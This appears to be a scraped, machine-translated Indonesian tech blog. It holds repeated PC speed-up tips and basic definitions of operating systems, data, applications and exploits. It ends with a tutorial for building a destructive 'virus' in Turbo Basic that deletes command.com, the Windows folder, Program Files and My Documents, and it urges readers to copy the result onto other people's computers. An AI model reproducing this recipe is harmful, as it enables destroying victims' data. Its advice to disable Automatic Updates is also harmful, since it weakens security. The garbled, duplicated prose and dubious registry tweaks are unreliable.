At this time the ESC-creation will discuss how to speed up computer performance that we have so that performance is better with a little tweaking and modifications to the Windows setting our computer. This helps to speed up computer performance that you might think we are still slow as if we're still using a Pentium III or equivalent PC Pentium 4.By applying the modifications, optimiser, seeting Tweaking Registry in Windows, this will optimize the work of the Computer in order to work faster than ever.Optimizing the following steps to accelerate the performance of Windows Computers:A. Turn off some features of Start Up.This will speed up loading Windows at boot time or the first time we turn on the computer.
Sign In >>> RUN Type in MSCONFIG menu >> OK >> Select the Start Up menu >> Remove all check mark on start up unless the Anti-virus Program
Click Menu >> Remove the check mark in the service Automatic Updates
After that aplly >>> Ok >>>
This requires a Restart Windows, then there is the Windows Message and select dont show this message again. Then move on to the Windows Registry Optimization in below.
B. Optimization of the RegistryChange the Windows Registry in the following section.
IN RUN >> Type in REGEDIT >>>> OK
MY COMPUTER >>> HKEY_CURRENT_USER >> CONTROL PANEL >> DESKTOP >>
Find MENU SHOW DELAY >> Doble click and change the value data to 10
Find HUNG-UP TIME OUT >> Doble Click fox dataya value to 5
MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> ControlSet001 >> >> WAIT TO KILL CONTROL SERVICE >> Change valuenya to 500
MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CONTROL CONTROL SET002 >> SERVICE >> WAIT TO KILL valuenya >> Change to 500
MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CURRENT CONTROL Set> Control >> session >> MANAGER >> MEMORY MANAGEMENT DISABLE paging EXCecutive >> Change Value data to 1
C. Optimize Virtual Memory
Login Control Panel >> System >> Advanced >> Performance Settings >>> Select the Custom >> Cawang on: "Use Drop Shadow For Icon labels on the desktop" and "Use visual styles on windows and buttons" and then aplly.
In the advanced menu >>> Virtual memory >> Change >> Click on drive c: Windows >> Select the Custom Size >> Change Value on Initial size and Maximum Size 2-fold from the previous value ie 256 to 512 foxes, fox 512 1000) or you can change your own home is larger than the previous value, then click Ok.
Above tweaking and modification aims to optimize and speed up the process of working a program or software. And to prevent warning / Virtual memory too low warning when running heavy programs such as Adobe Photoshob yag, Corel Draw, Adobe Premiere, Pinacle and other heavy programs that require a large virtual memory. And also this is to support Memory Ram is so small that can still be used to run a heavy program.Restart your computer after the completion of the Performance Computer Performance and you will be much faster than before. Good luck.
Showing posts with label Computer. Show all posts
Showing posts with label Computer. Show all posts
Wednesday, April 11, 2012
How to Speed Up Computer Performance
The computer is an object that can perform various kinds of activities and can simplify your job. Now the PC is one thing that must be owned by any person as a result of the rapid technological developments in the modern era it is today. If the PC or laptop computer that you have felt so heavy and slow, you will upset you?Therefore now I will give you Tips and Tricks on How to Speed up Computer Performance:
.: Accelerating Performance Computer Tips Tricks:.
Note Visual Graphics
Effects of visual effects graphics on your computer often burdensome your PC performance. Therefore you must choose between the visual emphasis on the graphics / display of your computer, or more concerned with the quality and performance of your PC computer. How do I? Follow the steps as follows:
Right-click the icon My Computer -> Right Click -> Properties -> (Tab) Advance -> (Performance -> Settings) -> Visual Effects
Well there's no choice between emphasis on image quality or performance of a PC, you just choose your priority. Or you can choose your own in custom menu, just check / uncheck your choices according to your needs and requirements.
Avoid programs that Not Useful
Often you just install the program to meet the contents of your computer. Yet more and more programs on your computer hard drive will be more fully then. And the more the content of the hard drive is used then your computer will run slower anyway. Therefore, I suggest you to:
- Uninstall programs that are not usefulHow to: Control Panel -> Add or Remove ProgramsWell there will be seen where the programs that you frequently use and which ones are not. Should be for programs that you rarely use it on your computer delete it from your PC.
- Perform Disk CleanupDisk Cleanup This will clean up old files that are no longer needed so it can save you disk space.How: My Computer -> C: (according to the hard drive you want to clean) -> Right Click -> Properties -> Disk Cleanup
- Defragment hard drives PeriodicIt can also defragment your hard drive clean of data that is useless. So if you do this will add to defragment your hard drive free hard drive spac penyimpananan.How: My Computer -> C: (according to the hard drive you want to clean) -> Right Click -> Properties -> (tab) Tools -> Defragment Now
Doing Tweaking with Software
Many software are available which can improve the performance of your computer. Among Tune Up Utilities, CCleaner, RegCleaner and much more. Tools-tools are also able to clean your registry of errors / error. You can search the software - the software in google and indowebster.
Optimize Virtual Memory
Here's how:My Computer -> Right Click -> Properties -> (Tab) Advance -> (Performance -> Settings) -> Advanced -> (Virtual Memory -> Change)Well there is the size of your custom content there as it is in Reccomended
Start Up Turn off some features that are not useful
Here's how:
Start Menu -> RUN -> Type in msconfig -> OK / Enter -> Select the Start Up menu >> Remove all check on start up unless the Anti-virus Program
Click the service menu -> Uncheck the Automatic Updates
Then press Apply and OK
Okay, hopefully the above tips and tricks can help you to accelerate the performance of your computer, so .. ^ ^
.: Accelerating Performance Computer Tips Tricks:.
Note Visual Graphics
Effects of visual effects graphics on your computer often burdensome your PC performance. Therefore you must choose between the visual emphasis on the graphics / display of your computer, or more concerned with the quality and performance of your PC computer. How do I? Follow the steps as follows:
Right-click the icon My Computer -> Right Click -> Properties -> (Tab) Advance -> (Performance -> Settings) -> Visual Effects
Well there's no choice between emphasis on image quality or performance of a PC, you just choose your priority. Or you can choose your own in custom menu, just check / uncheck your choices according to your needs and requirements.
Avoid programs that Not Useful
Often you just install the program to meet the contents of your computer. Yet more and more programs on your computer hard drive will be more fully then. And the more the content of the hard drive is used then your computer will run slower anyway. Therefore, I suggest you to:
- Uninstall programs that are not usefulHow to: Control Panel -> Add or Remove ProgramsWell there will be seen where the programs that you frequently use and which ones are not. Should be for programs that you rarely use it on your computer delete it from your PC.
- Perform Disk CleanupDisk Cleanup This will clean up old files that are no longer needed so it can save you disk space.How: My Computer -> C: (according to the hard drive you want to clean) -> Right Click -> Properties -> Disk Cleanup
- Defragment hard drives PeriodicIt can also defragment your hard drive clean of data that is useless. So if you do this will add to defragment your hard drive free hard drive spac penyimpananan.How: My Computer -> C: (according to the hard drive you want to clean) -> Right Click -> Properties -> (tab) Tools -> Defragment Now
Doing Tweaking with Software
Many software are available which can improve the performance of your computer. Among Tune Up Utilities, CCleaner, RegCleaner and much more. Tools-tools are also able to clean your registry of errors / error. You can search the software - the software in google and indowebster.
Optimize Virtual Memory
Here's how:My Computer -> Right Click -> Properties -> (Tab) Advance -> (Performance -> Settings) -> Advanced -> (Virtual Memory -> Change)Well there is the size of your custom content there as it is in Reccomended
Start Up Turn off some features that are not useful
Here's how:
Start Menu -> RUN -> Type in msconfig -> OK / Enter -> Select the Start Up menu >> Remove all check on start up unless the Anti-virus Program
Click the service menu -> Uncheck the Automatic Updates
Then press Apply and OK
Okay, hopefully the above tips and tricks can help you to accelerate the performance of your computer, so .. ^ ^
Thursday, April 5, 2012
Understanding of the Operating System
Usually, the term operating system is often addressed to all software included in a package with computer systems before the software applications installed. The operating system is a software system that served to make the control and management of hardware and basic system operations, including the execution of software applications such as word processing programs and web browsers.In general, the Operating System is software on the first layer is placed on computer memory when the computer starts up. While other software is run after the operating system is running, and the Operating System will perform the core public service for the software. Common core services such as access to the disk, memory management, task scheduling, and user interface. So that each software no longer have a common core tasks, as can be serviced and performed by the operating system. Section of code that performs the core tasks and the general was named to the "kernel" an Operating SystemIf the computer system is divided into layers, then the Operating System is the liaison between the layers of hardware and software layers. Beyond that, the Operating System do all the important tasks in the computer, and ensure that different applications can run simultaneously with the smooth. Operating system software ensures other applications can use the memory, input and output to other equipment, and have access to the file system. If multiple applications running simultaneously, then the operating system to set the exact schedule, so far as possible all running processes have enough time to use the processor (CPU) and do not interfere with each other.In many cases, operating system provides a library of standard functions, which other applications can call functions, so that in each new program, no need to create these functions from scratch.Operating systems generally consist of several parts:
Boot mechanism, namely putting the kernel into memory
Kernel, the core of an Operating System
Command interpreter or shell, which reads input from the user
Libraries, which provide a standard set of basic functions and can be invoked by other applications
Drivers to interact with external hardware, as well as to control them.
Most of the Operating System only allows one application running at the same time (eg DOS), but most of the new operating system allows multiple applications to run simultaneously at the same time. Operating systems are referred to as Multi-tasking Operating System (such as UNIX family of operating systems). Some operating systems are very large and complex, and its inputs depending on the user input, while other operating systems is very small and made with the assumption that work without human intervention at all. The first type is often referred to as a Desktop OS, while the second type is a Real-Time OS, for example, is Windows, Linux, Free BSD, Solaris, Palm, Symbian, and so forth.Common core servicesAlong with the development of operating systems, more and more services become a core public service. Now, the OS may need to provide network services and internet connectivity, which was not a core public service. Operating systems also need to keep the damage from the disruption of computer systems from malicious programs that another computer, such as viruses. List of common core services will continue to grow.Programs communicate with each other with the Application Programming Interface, Application Programming Interface or API for short. With this API application program can communicate with the Operating System. As humans communicate with computers through user interface, the program also communicate with other programs via the API.However a computer is not powerful API entirely on the programs that run on the operating platform. For example, if a program created for Windows 3.1 when running on Windows 95 and later generations will see a striking difference between the window program with other programs.Operating systems currentlyOperating system-the primary operating system commonly used computer systems (including PC, personal computer) is divided into 3 major groups:
Family of Microsoft Windows - which is comprised of Windows Desktop Environment (version 1.x to version 3.x), Windows 9x (Windows 95, 98, and Windows ME), and Windows NT (Windows NT 3.x, Windows NT 4.0 , Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7 (Seven), which was released in 2009, and Windows 8 will be released in 2012 or later)).
Unix family of operating systems that use the POSIX interface, such as SCO UNIX, family BSD (Berkeley Software Distribution), GNU / Linux, MacOS / X (based on a modified BSD kernel, and is known by the name of Darwin) and GNU / Hurd.
Mac OS, the operating system for Apple computers output is commonly called Mac or Macintosh. The latest operating system is Mac OS X version 10.6 (Snow Leopard). Summer of 2011 planned launch of version 7.10 (Lion).
While the mainframe computer and Super computer operating systems use a lot of different, usually a derivative of the UNIX operating system developed by vendors such as IBM AIX, HP / UX, etc..ProcessThe processor executes the computer programs. The processor is a chip in a computer system that runs the computer program instructions. In every second the processor can execute millions of instructions.The program is a series of instructions given to a computer. While the process is a part of the program residing on a particular status in a series of execution. In the discussion Operating Systems, we are more likely to discuss the process compared to the program. On modern operating systems, at one time not all programs loaded in memory, but only one part of the program. While other parts of the program remains rest in disk storage media. Only in times of need alone, part of the program is loaded in memory and executed by the processor. It is greatly save memory consumption.Some systems run only one single process at a time, while others run multi-process at a time. Though most of the computer system has only one processor, and a processor can only execute one instruction at a time. So how a single processor system can run multi-process? Surely, in a very small granularity, the processor executes only one process at a time, then quickly he moved to run other processes, and so on. So that the vision and feeling of the human user, as if the processor to run multiple processes simultaneously.Each process in an operating system to get a PCB (Process Control Block), which contains information about the process, namely: an identification process (Process ID) and a unique identification number, the status of the process, the priority of the process execution and location information in the memory process . Priority process is a value or quantity that indicates how often the process should be executed by the processor. Process that has a higher priority, will be run more often or executed earlier than the lower-priority processes. An operating system can only determine all processes with the same priority, so that each process has the same opportunity. An operating system can also change the priority of a particular process, that process will be able to have a greater chance at the next execution (for example: the process that was already too long to wait for execution, the operating system to raise the priority).Process StatusType of status that may be attributed to a process on any operating system may vary. But at least there are three kinds of status are common, namely:
Ready, namely the status of where the process is ready to be executed on the next turn
Running, which is where the current status of this process is being executed by the processor
Blocked, the status in which the process can not run the processor at the ready / free
Boot mechanism, namely putting the kernel into memory
Kernel, the core of an Operating System
Command interpreter or shell, which reads input from the user
Libraries, which provide a standard set of basic functions and can be invoked by other applications
Drivers to interact with external hardware, as well as to control them.
Most of the Operating System only allows one application running at the same time (eg DOS), but most of the new operating system allows multiple applications to run simultaneously at the same time. Operating systems are referred to as Multi-tasking Operating System (such as UNIX family of operating systems). Some operating systems are very large and complex, and its inputs depending on the user input, while other operating systems is very small and made with the assumption that work without human intervention at all. The first type is often referred to as a Desktop OS, while the second type is a Real-Time OS, for example, is Windows, Linux, Free BSD, Solaris, Palm, Symbian, and so forth.Common core servicesAlong with the development of operating systems, more and more services become a core public service. Now, the OS may need to provide network services and internet connectivity, which was not a core public service. Operating systems also need to keep the damage from the disruption of computer systems from malicious programs that another computer, such as viruses. List of common core services will continue to grow.Programs communicate with each other with the Application Programming Interface, Application Programming Interface or API for short. With this API application program can communicate with the Operating System. As humans communicate with computers through user interface, the program also communicate with other programs via the API.However a computer is not powerful API entirely on the programs that run on the operating platform. For example, if a program created for Windows 3.1 when running on Windows 95 and later generations will see a striking difference between the window program with other programs.Operating systems currentlyOperating system-the primary operating system commonly used computer systems (including PC, personal computer) is divided into 3 major groups:
Family of Microsoft Windows - which is comprised of Windows Desktop Environment (version 1.x to version 3.x), Windows 9x (Windows 95, 98, and Windows ME), and Windows NT (Windows NT 3.x, Windows NT 4.0 , Windows 2000, Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7 (Seven), which was released in 2009, and Windows 8 will be released in 2012 or later)).
Unix family of operating systems that use the POSIX interface, such as SCO UNIX, family BSD (Berkeley Software Distribution), GNU / Linux, MacOS / X (based on a modified BSD kernel, and is known by the name of Darwin) and GNU / Hurd.
Mac OS, the operating system for Apple computers output is commonly called Mac or Macintosh. The latest operating system is Mac OS X version 10.6 (Snow Leopard). Summer of 2011 planned launch of version 7.10 (Lion).
While the mainframe computer and Super computer operating systems use a lot of different, usually a derivative of the UNIX operating system developed by vendors such as IBM AIX, HP / UX, etc..ProcessThe processor executes the computer programs. The processor is a chip in a computer system that runs the computer program instructions. In every second the processor can execute millions of instructions.The program is a series of instructions given to a computer. While the process is a part of the program residing on a particular status in a series of execution. In the discussion Operating Systems, we are more likely to discuss the process compared to the program. On modern operating systems, at one time not all programs loaded in memory, but only one part of the program. While other parts of the program remains rest in disk storage media. Only in times of need alone, part of the program is loaded in memory and executed by the processor. It is greatly save memory consumption.Some systems run only one single process at a time, while others run multi-process at a time. Though most of the computer system has only one processor, and a processor can only execute one instruction at a time. So how a single processor system can run multi-process? Surely, in a very small granularity, the processor executes only one process at a time, then quickly he moved to run other processes, and so on. So that the vision and feeling of the human user, as if the processor to run multiple processes simultaneously.Each process in an operating system to get a PCB (Process Control Block), which contains information about the process, namely: an identification process (Process ID) and a unique identification number, the status of the process, the priority of the process execution and location information in the memory process . Priority process is a value or quantity that indicates how often the process should be executed by the processor. Process that has a higher priority, will be run more often or executed earlier than the lower-priority processes. An operating system can only determine all processes with the same priority, so that each process has the same opportunity. An operating system can also change the priority of a particular process, that process will be able to have a greater chance at the next execution (for example: the process that was already too long to wait for execution, the operating system to raise the priority).Process StatusType of status that may be attributed to a process on any operating system may vary. But at least there are three kinds of status are common, namely:
Ready, namely the status of where the process is ready to be executed on the next turn
Running, which is where the current status of this process is being executed by the processor
Blocked, the status in which the process can not run the processor at the ready / free
Understanding System
System comes from the Latin (Systema) and Greek (sustēma) is a unit consisting of components or elements that are linked together to facilitate the flow of information, materials or energy. The term is often used to describe a set of entities that interact, in which a mathematical model can often be made.The system is also the unity of the parts that are interconnected in a region and have items activator, such as the common example. State is a collection of some other entity such as provincial elements that are interconnected to form a country where the act as the driving force of the people residing in the country.The word "system" widely used in everyday conversation, discussion forums and scientific documents. It is used for many things, and in many areas, too, so it means to be diverse. In the most general sense, a system is a collection of objects that have relationships between them.Elements in the systemIn principle, every system always consists of four elements:
Object, which can be a part, element, or variable. He can be physical objects, abstract, or both at once; depending on the nature of the system.
Attribute, which determines the quality or nature of ownership of the system and its object.
Internal relations, among the objects in it.
Environment, where the system resides.
Elements of the systemThere are several elements that make up a system, namely: objectives, inputs, processes, outputs, limit, control and feedback mechanisms and the environment. Here's an explanation of the elements that make up a system:A. PurposeEach system has a goal (Goal), whether only one or maybe a lot. That is the purpose of motivating the drive system. Without a goal, the system becomes undirected and uncontrolled. Of course, the goal of one system with another system that is different.2. InputInput (input) system is everything that goes into the system and further into the material being processed. Input can be any tangible things (physically visible) and invisible. Examples of intangible inputs are raw materials, while an example that is intangible information (such as customer service requests).3. ProcessThe process is part of making a change or transformation of inputs into outputs that are useful and valuable lbih, such as an information and products, but also may be things that are not useful, such as residual or waste disposal. In the chemical plant, the process can be a raw material. At the hospital, the patient can be either surgical activity.4. ExodusOutput (output) is the result of processing. On information systems, the output can be an information, advice, printed reports, and so forth.5. BoundaryThe so-called boundary (boundary) is a system of separation between the system and the area outside the system (environment). Determine the configuration of the system boundary, scope, or the ability of the system. For example, the football team has the rules of the game and the limited ability of the player. The growth of a grocery store purchase is influenced by customers, competitors and limited movement of funds from the bank. Of course the limits of a system can be reduced or modified so that it will change the behavior of the system. For example, by selling shares to the public, a company can reduce keterbasatan funds.6. Control and Feedback MechanismsControl mechanisms (control mechanism) is realized by using feedback (feedback), which quotes the output. This feedback is used to control both the input and process. The aim is to set the system runs according to the purpose.7. EnvironmentEnvironment is everything that is outside the system. Environment can affect the operation of the system can be harmful or beneficial meaning the system itself. Environmental effects must of course be retained and controlled so as not to disrupt the continuity of operation of the system, while still profitable should be maintained, because it will spur on the survival of the system.This type of systemThere are various types of systems by category:
On the basis of openness:
open systems, where outsiders can influence it.
closed system.
On the basis of components:
Physical system, the components of matter and energy.
Non-physical systems or concepts, ideas contained.
Object, which can be a part, element, or variable. He can be physical objects, abstract, or both at once; depending on the nature of the system.
Attribute, which determines the quality or nature of ownership of the system and its object.
Internal relations, among the objects in it.
Environment, where the system resides.
Elements of the systemThere are several elements that make up a system, namely: objectives, inputs, processes, outputs, limit, control and feedback mechanisms and the environment. Here's an explanation of the elements that make up a system:A. PurposeEach system has a goal (Goal), whether only one or maybe a lot. That is the purpose of motivating the drive system. Without a goal, the system becomes undirected and uncontrolled. Of course, the goal of one system with another system that is different.2. InputInput (input) system is everything that goes into the system and further into the material being processed. Input can be any tangible things (physically visible) and invisible. Examples of intangible inputs are raw materials, while an example that is intangible information (such as customer service requests).3. ProcessThe process is part of making a change or transformation of inputs into outputs that are useful and valuable lbih, such as an information and products, but also may be things that are not useful, such as residual or waste disposal. In the chemical plant, the process can be a raw material. At the hospital, the patient can be either surgical activity.4. ExodusOutput (output) is the result of processing. On information systems, the output can be an information, advice, printed reports, and so forth.5. BoundaryThe so-called boundary (boundary) is a system of separation between the system and the area outside the system (environment). Determine the configuration of the system boundary, scope, or the ability of the system. For example, the football team has the rules of the game and the limited ability of the player. The growth of a grocery store purchase is influenced by customers, competitors and limited movement of funds from the bank. Of course the limits of a system can be reduced or modified so that it will change the behavior of the system. For example, by selling shares to the public, a company can reduce keterbasatan funds.6. Control and Feedback MechanismsControl mechanisms (control mechanism) is realized by using feedback (feedback), which quotes the output. This feedback is used to control both the input and process. The aim is to set the system runs according to the purpose.7. EnvironmentEnvironment is everything that is outside the system. Environment can affect the operation of the system can be harmful or beneficial meaning the system itself. Environmental effects must of course be retained and controlled so as not to disrupt the continuity of operation of the system, while still profitable should be maintained, because it will spur on the survival of the system.This type of systemThere are various types of systems by category:
On the basis of openness:
open systems, where outsiders can influence it.
closed system.
On the basis of components:
Physical system, the components of matter and energy.
Non-physical systems or concepts, ideas contained.
Understanding of Data
Data are the notes to the collection of facts. [1] Data is the plural of datum, derived from the Latin word meaning "something given". In everyday use the data received by means of a statement as it is. This statement is the result of measurement or observation of a variable that can shape the form of numbers, words, or images.
In science (scientific) facts are collected to be data. The data is then processed so that it can be clearly and precisely phrased so that it can be understood by others who do not directly experience it for yourself, it is called description. Sorting a lot of data according to similarities or differences they contain so-called classification.
The subject of Knowledge Management, data is characterized as something that is raw and lacks context. He was just there and have no significance beyond its existence it meaning. He can come in many forms, regardless of whether he could be utilized or not.
According to other sources, the data can also be defined as follows:
• The English-Indonesian dictionary, data derived from the word datum, which means the facts
• From a business perspective, business data is a description of the organization of things (resources) and events (transactions) that occur
• Understanding others mentioned that the data is a description of an event that we face
In science (scientific) facts are collected to be data. The data is then processed so that it can be clearly and precisely phrased so that it can be understood by others who do not directly experience it for yourself, it is called description. Sorting a lot of data according to similarities or differences they contain so-called classification.
The subject of Knowledge Management, data is characterized as something that is raw and lacks context. He was just there and have no significance beyond its existence it meaning. He can come in many forms, regardless of whether he could be utilized or not.
According to other sources, the data can also be defined as follows:
• The English-Indonesian dictionary, data derived from the word datum, which means the facts
• From a business perspective, business data is a description of the organization of things (resources) and events (transactions) that occur
• Understanding others mentioned that the data is a description of an event that we face
Application System | Application Software
Application software is a subclass of computer software that utilizes the ability of direct computer to perform a task that the user wants. Usually compared to a software system that integrates a variety of computer skills, but does not directly apply those skills to do a task that benefit the user. The main example is the application software word processing, spreadsheets, and media player.Some applications are bundled together into a package are sometimes referred to as a package or suite of applications (application suite). Examples are Microsoft Office and OpenOffice.org, which combines a word processor, spreadsheet, and several other applications. These applications typically have a package that has a common user interface making it easier for users to learn and use each application. Often times, they have the ability to interact with one another so that benefit the user. For example, a worksheet can be embedded in a word processor document even though the application was made on a separate worksheet.Classification of applicationsApplications can be classified into several classes, among others:
Software company (enterprise)
Infrastructure software company
Software job information
Media and entertainment software
Educational software
Media development software
Software product engineering
In the general sense, the application is a tool that functioned exclusively applied and integrated according to its capabilitiesThe software company
Accounting software
Parts support (back office)
Business software
Human resource management
Infrastructure software company
Workflow software business
Database management system
Digital asset management
Document management
Software job information
Management time and resources
Data Management
Documentation
Analytic software
Collaboration software
Media and entertainment software
Digital media
Entertainment software
Educational software
Classroom management
Management survey
Management training
Software sales readiness
Media development software
Graphic arts software
Editing media
Software product engineering
Hardware engineering
Software engineering
Software company (enterprise)
Infrastructure software company
Software job information
Media and entertainment software
Educational software
Media development software
Software product engineering
In the general sense, the application is a tool that functioned exclusively applied and integrated according to its capabilitiesThe software company
Accounting software
Parts support (back office)
Business software
Human resource management
Infrastructure software company
Workflow software business
Database management system
Digital asset management
Document management
Software job information
Management time and resources
Data Management
Documentation
Analytic software
Collaboration software
Media and entertainment software
Digital media
Entertainment software
Educational software
Classroom management
Management survey
Management training
Software sales readiness
Media development software
Graphic arts software
Editing media
Software product engineering
Hardware engineering
Software engineering
The Definition of Exploit
Exploit, Exploit is a code that specifically attack security computer. Exploit penentrais widely used for both legal and illegal to look for weaknesses (Vulnerability) on the destination computer. It could also be said that attacking a software security vulnerability (security vulnerability) are specific but not always intended to launch an unwanted action. Many computer security researcher using the exploit to demonstrate that a system has a vulnerability.There is a body of researchers who work with the software manufacturer. Researchers were tasked with finding the fragility of a software and if they do, they report the findings to the manufacturer so the manufacturer can take action. However, the exploit is sometimes a part of a malware attack in charge of security vulnerability.
ClassificationThere are several methods for classifying exploits. The most common is to see how to exploit to make contact with the vulnerable software. Remote exploit (remote exploit) works through a network and exploit vulnerabilities in the absence of prior access to the victim system. Local exploit (local exploits) requires prior access to a vulnerable system and usually increases the flexibility of people who run exploit beyond that provided by the system administrator. Exploit the attacking client applications are also available, usually consisting of modified servers that send an exploit if accessed by client applications. Exploits that attack the client application may also require some interaction with the user, thus can be used in combination with the methods of social engineering. This is how hackers break into computers and web sites to steal data.Another classification is by action on the affected system: unauthorized access to data, arbitrary code execution, denial of service.Many exploits are designed to provide'' superuser-level access'' to the computer system. But, but may also use some exploits, to gain access to low-level first, then increase the permissions again and again until it reaches the root.Normally a single exploit can only take advantage of a specific software vulnerabilities. Often times, after the exploit was published, improved system security gaps through patches that exploit no longer apply to the latest version of the software. This is the reason why some blackhat hackers do not publish their exploits but keep it to yourself or other hackers. Exploit the so-called 'zero day exploits' and to gain access to the exploit is the main desire of the amateur attackers, often nicknamed script kiddieTypeExploit generally categorized and named according to the following criteria:
Types of vulnerabilities they exploitDo they need to be run on the same machine with a program that has a slit (local) or can be run on a different machine to attack the program running on another computer (remote).The results of running the exploit (EOP, DoS, Spoofing, etc.)
PivotingPivoting refers to the methods used by penetration testers to use a system that has been mastered to attack other systems on the same network to avoid the ban as a firewall configuration, which can prohibit direct access to all machines. For example, an attacker controlled web server on a corporate network, the attacker can then use the web server that has been mastered to attack other systems on the network. This type of attack is often called a multi-layered attack. Pivoting also known as island hopping.Pivoting can be divided into proxy and VPN pivoting pivoting:
Proxy pivoting is generally described as an act of tracing a path through the target payload controlled using a proxy on the machine and launch attacks from this computer. Type of pivoting is limited to specific TCP and UDP are supported by the proxy.
VPN pivoting allows the attacker to make the layer-2 tunnel is encrypted into a machine-controlled to drive traffic to any network through the target machine, for example, to run a vulnerability scan on the internal network via the machine-ruled, effectively giving full access to the network attackers as if they are behind a firewall.
Typically, an application proxy or VPN which allows pivoting, running on the target computer as the payload (software) of the exploit.
ClassificationThere are several methods for classifying exploits. The most common is to see how to exploit to make contact with the vulnerable software. Remote exploit (remote exploit) works through a network and exploit vulnerabilities in the absence of prior access to the victim system. Local exploit (local exploits) requires prior access to a vulnerable system and usually increases the flexibility of people who run exploit beyond that provided by the system administrator. Exploit the attacking client applications are also available, usually consisting of modified servers that send an exploit if accessed by client applications. Exploits that attack the client application may also require some interaction with the user, thus can be used in combination with the methods of social engineering. This is how hackers break into computers and web sites to steal data.Another classification is by action on the affected system: unauthorized access to data, arbitrary code execution, denial of service.Many exploits are designed to provide'' superuser-level access'' to the computer system. But, but may also use some exploits, to gain access to low-level first, then increase the permissions again and again until it reaches the root.Normally a single exploit can only take advantage of a specific software vulnerabilities. Often times, after the exploit was published, improved system security gaps through patches that exploit no longer apply to the latest version of the software. This is the reason why some blackhat hackers do not publish their exploits but keep it to yourself or other hackers. Exploit the so-called 'zero day exploits' and to gain access to the exploit is the main desire of the amateur attackers, often nicknamed script kiddieTypeExploit generally categorized and named according to the following criteria:
Types of vulnerabilities they exploitDo they need to be run on the same machine with a program that has a slit (local) or can be run on a different machine to attack the program running on another computer (remote).The results of running the exploit (EOP, DoS, Spoofing, etc.)
PivotingPivoting refers to the methods used by penetration testers to use a system that has been mastered to attack other systems on the same network to avoid the ban as a firewall configuration, which can prohibit direct access to all machines. For example, an attacker controlled web server on a corporate network, the attacker can then use the web server that has been mastered to attack other systems on the network. This type of attack is often called a multi-layered attack. Pivoting also known as island hopping.Pivoting can be divided into proxy and VPN pivoting pivoting:
Proxy pivoting is generally described as an act of tracing a path through the target payload controlled using a proxy on the machine and launch attacks from this computer. Type of pivoting is limited to specific TCP and UDP are supported by the proxy.
VPN pivoting allows the attacker to make the layer-2 tunnel is encrypted into a machine-controlled to drive traffic to any network through the target machine, for example, to run a vulnerability scan on the internal network via the machine-ruled, effectively giving full access to the network attackers as if they are behind a firewall.
Typically, an application proxy or VPN which allows pivoting, running on the target computer as the payload (software) of the exploit.
How to Create Malicius Programs Like Viruses
Create a malicious program (such as a virus) is the desire for some of the computer novice, but how they could make if they do not know the programming language at all, you do not fret for this problem because now I'm going to teach you how to create malicious programs.
First skill you need is a basic DOS, without this you will be hard to be creative in making this program but if you do not know the basic DOS commands, then you simply copy and paste, the programming language we will use the Turbo Basic v1.0, youcan download it on Google or search dirental CD.
If you are blind Turbo Basic programming then you go to Edit and then you write Source Code destroyer program.
shell "DOS Command"
words beginning with the shell then you can run DOS commands on the program, for example you create:
shell "c:"shell "cd \"shell "del command.com"
Above is an example of deleting DOS Classic on DOS, Windows 95/98 so that the user's computer can not boot, we demonstrated another.
shell "c:"shell "cd \"shell "deltree / y mydocu ~ 1"shell "deltree / y windows"shell "deltree / y progra ~ 1"
Above is an example of deleting My Document Directory, Windows and Program Files, so fatal is not it?
After you finish creating the program, then you save first, how to select File and then Save and name the file eg VIRUS.BAS, only then we compile the source code was, how to select Options and select Compile to EXE file, then go to options and then compile you enter, the source code will be the EXE file.
If the EXE file is executed then your computer will run DOS commands on the program, from the tutorial above, you can create your own how artificial virus can be run in accordance with your wish, please note that THERE IS NOT ONE OF THIS WORLD ANTIVIRUS PROGRAM CAN DETECT THIS IS A VIRUS so you are free to copy the copy of this program to any computer that you like but non-DOS-based computers or Windows, hehe
The purpose of this tutorial is to make us more aware of the various files with the extension *. Exe even if the *. Exe is 100% free of virus expressed from various kinds of Antivirus.
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